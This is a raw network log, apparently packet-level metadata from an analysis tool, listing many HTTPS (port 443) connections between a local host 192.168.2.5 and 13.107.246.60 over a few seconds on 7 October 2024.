Oct 7, 2024 17:22:29.652441978 CEST	49790	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:29.652448893 CEST	443	49790	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:29.681940079 CEST	443	49788	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:29.682002068 CEST	443	49788	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:29.682069063 CEST	49788	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:29.682193995 CEST	49788	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:29.682216883 CEST	443	49788	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:29.682229996 CEST	49788	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:29.682235956 CEST	443	49788	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:29.694523096 CEST	49794	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:29.694562912 CEST	443	49794	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:29.694636106 CEST	49794	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:29.694932938 CEST	49794	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:29.694946051 CEST	443	49794	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:29.759785891 CEST	443	49790	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:29.759938955 CEST	443	49790	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:29.760014057 CEST	49790	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:29.760241032 CEST	49790	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:29.760257959 CEST	443	49790	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:29.760268927 CEST	49790	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:29.760273933 CEST	443	49790	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:29.763185024 CEST	49795	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:29.763264894 CEST	443	49795	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:29.763344049 CEST	49795	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:29.763551950 CEST	49795	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:29.763576031 CEST	443	49795	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:30.747838020 CEST	443	49794	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:30.747978926 CEST	443	49792	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:30.747992039 CEST	443	49793	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:30.748060942 CEST	443	49791	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:30.748697042 CEST	443	49795	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:30.748770952 CEST	49794	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:30.748775005 CEST	49791	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:30.748790979 CEST	443	49794	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:30.748801947 CEST	443	49791	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:30.749501944 CEST	49794	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:30.749505997 CEST	443	49794	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:30.749521017 CEST	49791	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:30.749526978 CEST	443	49791	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:30.749799013 CEST	49792	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:30.749864101 CEST	443	49792	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:30.749919891 CEST	49795	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:30.749954939 CEST	443	49795	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:30.750173092 CEST	49792	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:30.750185966 CEST	443	49792	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:30.750391006 CEST	49795	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:30.750402927 CEST	443	49795	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:30.750418901 CEST	49793	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:30.750423908 CEST	443	49793	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:30.750777960 CEST	49793	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:30.750782967 CEST	443	49793	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:31.885921955 CEST	443	49792	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:31.885926008 CEST	443	49793	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:31.885983944 CEST	443	49792	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:31.885983944 CEST	443	49793	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:31.886116982 CEST	49793	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:31.886116982 CEST	49792	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:31.886343002 CEST	49792	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:31.886369944 CEST	49793	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:31.886383057 CEST	443	49792	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:31.886384010 CEST	443	49793	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:31.886400938 CEST	49793	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:31.886404991 CEST	49792	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:31.886408091 CEST	443	49793	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:31.886415958 CEST	443	49792	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:31.886725903 CEST	443	49791	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:31.886787891 CEST	443	49791	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:31.886830091 CEST	49791	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:31.887048960 CEST	49791	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:31.887070894 CEST	443	49791	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:31.887082100 CEST	49791	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:31.887088060 CEST	443	49791	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:31.887861013 CEST	443	49795	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:31.887940884 CEST	443	49795	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:31.887986898 CEST	49795	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:31.888638973 CEST	49795	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:31.888655901 CEST	443	49795	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:31.888676882 CEST	49795	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:31.888684034 CEST	443	49795	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:31.890048981 CEST	49796	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:31.890094995 CEST	443	49796	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:31.890166998 CEST	49796	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:31.890543938 CEST	49797	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:31.890580893 CEST	443	49797	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:31.890644073 CEST	49797	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:31.890952110 CEST	49796	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:31.890964985 CEST	443	49796	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:31.891077042 CEST	49797	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:31.891087055 CEST	443	49797	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:31.891465902 CEST	49798	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:31.891483068 CEST	443	49798	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:31.891541958 CEST	49798	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:31.891654968 CEST	49798	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:31.891664982 CEST	443	49798	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:31.892218113 CEST	49799	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:31.892230034 CEST	443	49799	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:31.892281055 CEST	49799	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:31.892381907 CEST	49799	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:31.892390966 CEST	443	49799	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:31.894917011 CEST	443	49794	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:31.894978046 CEST	443	49794	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:31.895026922 CEST	49794	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:31.895100117 CEST	49794	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:31.895116091 CEST	443	49794	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:31.895128012 CEST	49794	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:31.895133018 CEST	443	49794	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:31.897139072 CEST	49800	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:31.897164106 CEST	443	49800	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:31.897232056 CEST	49800	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:31.897344112 CEST	49800	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:31.897350073 CEST	443	49800	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:32.506529093 CEST	443	49798	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:32.507060051 CEST	49798	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:32.507087946 CEST	443	49798	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:32.507565975 CEST	49798	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:32.507570982 CEST	443	49798	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:32.509279966 CEST	443	49797	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:32.509624958 CEST	49797	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:32.509643078 CEST	443	49797	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:32.510068893 CEST	49797	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:32.510075092 CEST	443	49797	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:32.512389898 CEST	443	49799	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:32.512655020 CEST	49799	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:32.512689114 CEST	443	49799	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:32.513014078 CEST	49799	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:32.513020039 CEST	443	49799	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:32.514539957 CEST	443	49800	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:32.514794111 CEST	49800	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:32.514806986 CEST	443	49800	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:32.515172958 CEST	49800	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:32.515177965 CEST	443	49800	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:32.525774956 CEST	443	49796	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:32.526201010 CEST	49796	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:32.526242971 CEST	443	49796	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:32.526597023 CEST	49796	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:32.526602983 CEST	443	49796	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:32.601790905 CEST	443	49798	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:32.601859093 CEST	443	49798	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:32.601926088 CEST	49798	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:32.602123022 CEST	49798	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:32.602147102 CEST	443	49798	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:32.602159977 CEST	49798	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:32.602165937 CEST	443	49798	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:32.604773998 CEST	49801	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:32.604827881 CEST	443	49801	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:32.604901075 CEST	49801	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:32.605045080 CEST	49801	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:32.605063915 CEST	443	49801	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:32.606393099 CEST	443	49797	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:32.606549978 CEST	443	49797	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:32.606611967 CEST	49797	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:32.606650114 CEST	49797	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:32.606653929 CEST	443	49797	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:32.606664896 CEST	49797	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:32.606668949 CEST	443	49797	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:32.608807087 CEST	49802	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:32.608835936 CEST	443	49802	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:32.608901978 CEST	49802	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:32.609014988 CEST	49802	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:32.609025002 CEST	443	49802	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:32.609432936 CEST	443	49799	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:32.609493017 CEST	443	49799	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:32.609555006 CEST	49799	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:32.609587908 CEST	49799	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:32.609607935 CEST	443	49799	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:32.609620094 CEST	49799	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:32.609627008 CEST	443	49799	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:32.611274958 CEST	49803	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:32.611316919 CEST	443	49803	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:32.611423016 CEST	49803	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:32.611491919 CEST	443	49800	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:32.611502886 CEST	49803	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:32.611511946 CEST	443	49803	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:32.611562967 CEST	443	49800	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:32.611603022 CEST	49800	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:32.611666918 CEST	49800	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:32.611675024 CEST	443	49800	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:32.611685991 CEST	49800	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:32.611689091 CEST	443	49800	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:32.613596916 CEST	49804	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:32.613627911 CEST	443	49804	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:32.613698006 CEST	49804	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:32.613804102 CEST	49804	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:32.613815069 CEST	443	49804	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:32.652450085 CEST	443	49796	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:32.652556896 CEST	443	49796	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:32.652654886 CEST	49796	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:32.652807951 CEST	49796	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:32.652833939 CEST	443	49796	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:32.652853012 CEST	49796	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:32.652868032 CEST	443	49796	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:32.655697107 CEST	49805	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:32.655736923 CEST	443	49805	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:32.655817032 CEST	49805	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:32.655982018 CEST	49805	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:32.655996084 CEST	443	49805	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:33.210123062 CEST	443	49801	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:33.210644007 CEST	49801	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:33.210675001 CEST	443	49801	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:33.211132050 CEST	49801	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:33.211143970 CEST	443	49801	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:33.220583916 CEST	443	49804	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:33.221128941 CEST	49804	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:33.221153975 CEST	443	49804	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:33.221569061 CEST	49804	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:33.221575022 CEST	443	49804	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:33.233618021 CEST	443	49802	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:33.234131098 CEST	49802	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:33.234181881 CEST	443	49802	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:33.234611034 CEST	49802	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:33.234620094 CEST	443	49802	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:33.272831917 CEST	443	49803	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:33.273448944 CEST	49803	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:33.273474932 CEST	443	49803	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:33.273915052 CEST	49803	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:33.273922920 CEST	443	49803	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:33.301995039 CEST	443	49805	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:33.302572012 CEST	49805	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:33.302617073 CEST	443	49805	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:33.303061962 CEST	49805	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:33.303071976 CEST	443	49805	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:33.307471991 CEST	443	49801	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:33.307493925 CEST	443	49801	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:33.307544947 CEST	443	49801	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:33.307552099 CEST	49801	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:33.307609081 CEST	49801	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:33.307842970 CEST	49801	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:33.307864904 CEST	49801	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:33.307866096 CEST	443	49801	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:33.307871103 CEST	443	49801	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:33.310554028 CEST	49806	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:33.310596943 CEST	443	49806	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:33.310689926 CEST	49806	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:33.310828924 CEST	49806	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:33.310842991 CEST	443	49806	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:33.317131042 CEST	443	49804	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:33.317154884 CEST	443	49804	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:33.317228079 CEST	443	49804	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:33.317236900 CEST	49804	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:33.317277908 CEST	49804	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:33.317398071 CEST	49804	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:33.317418098 CEST	443	49804	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:33.317430973 CEST	49804	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:33.317436934 CEST	443	49804	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:33.319818020 CEST	49807	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:33.319845915 CEST	443	49807	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:33.319931984 CEST	49807	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:33.320064068 CEST	49807	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:33.320070982 CEST	443	49807	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:33.330703974 CEST	443	49802	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:33.330857038 CEST	443	49802	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:33.330930948 CEST	49802	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:33.331063986 CEST	49802	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:33.331079960 CEST	443	49802	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:33.331089020 CEST	49802	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:33.331094027 CEST	443	49802	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:33.333822012 CEST	49808	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:33.333918095 CEST	443	49808	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:33.334044933 CEST	49808	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:33.334188938 CEST	49808	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:33.334208965 CEST	443	49808	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:33.376348972 CEST	443	49803	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:33.376419067 CEST	443	49803	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:33.376585960 CEST	49803	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:33.376748085 CEST	49803	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:33.376768112 CEST	443	49803	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:33.376780033 CEST	49803	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:33.376785994 CEST	443	49803	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:33.379224062 CEST	49809	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:33.379273891 CEST	443	49809	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:33.379360914 CEST	49809	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:33.379501104 CEST	49809	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:33.379513025 CEST	443	49809	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:33.406163931 CEST	443	49805	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:33.406198025 CEST	443	49805	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:33.406270981 CEST	443	49805	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:33.406383038 CEST	49805	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:33.406435966 CEST	49805	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:33.406676054 CEST	49805	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:33.406704903 CEST	443	49805	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:33.406719923 CEST	49805	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:33.406725883 CEST	443	49805	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:33.409483910 CEST	49810	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:33.409523010 CEST	443	49810	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:33.409610987 CEST	49810	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:33.409766912 CEST	49810	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:33.409778118 CEST	443	49810	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:34.128056049 CEST	443	49808	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:34.128604889 CEST	49808	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:34.128629923 CEST	443	49808	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:34.128860950 CEST	443	49810	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:34.129133940 CEST	49808	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:34.129139900 CEST	443	49808	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:34.129401922 CEST	49810	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:34.129426956 CEST	443	49810	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:34.130151987 CEST	49810	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:34.130156994 CEST	443	49810	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:34.206418991 CEST	443	49806	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:34.206945896 CEST	49806	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:34.206959963 CEST	443	49806	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:34.207395077 CEST	49806	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:34.207400084 CEST	443	49806	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:34.210431099 CEST	443	49809	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:34.210686922 CEST	49809	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:34.210702896 CEST	443	49809	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:34.211040020 CEST	49809	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:34.211044073 CEST	443	49809	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:34.212716103 CEST	443	49807	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:34.212949038 CEST	49807	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:34.212970018 CEST	443	49807	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:34.213270903 CEST	49807	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:34.213274956 CEST	443	49807	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:34.222790956 CEST	443	49808	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:34.223304987 CEST	443	49808	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:34.223391056 CEST	49808	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:34.223391056 CEST	49808	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:34.223436117 CEST	49808	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:34.223453045 CEST	443	49808	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:34.225200891 CEST	443	49810	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:34.225712061 CEST	443	49810	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:34.225765944 CEST	49810	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:34.225857973 CEST	49810	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:34.225860119 CEST	49811	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:34.225871086 CEST	443	49810	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:34.225886106 CEST	443	49811	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:34.225905895 CEST	49810	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:34.225912094 CEST	443	49810	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:34.225948095 CEST	49811	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:34.226972103 CEST	49811	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:34.226980925 CEST	443	49811	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:34.228017092 CEST	49812	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:34.228049040 CEST	443	49812	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:34.228118896 CEST	49812	443	192.168.2.5	13.107.246.60
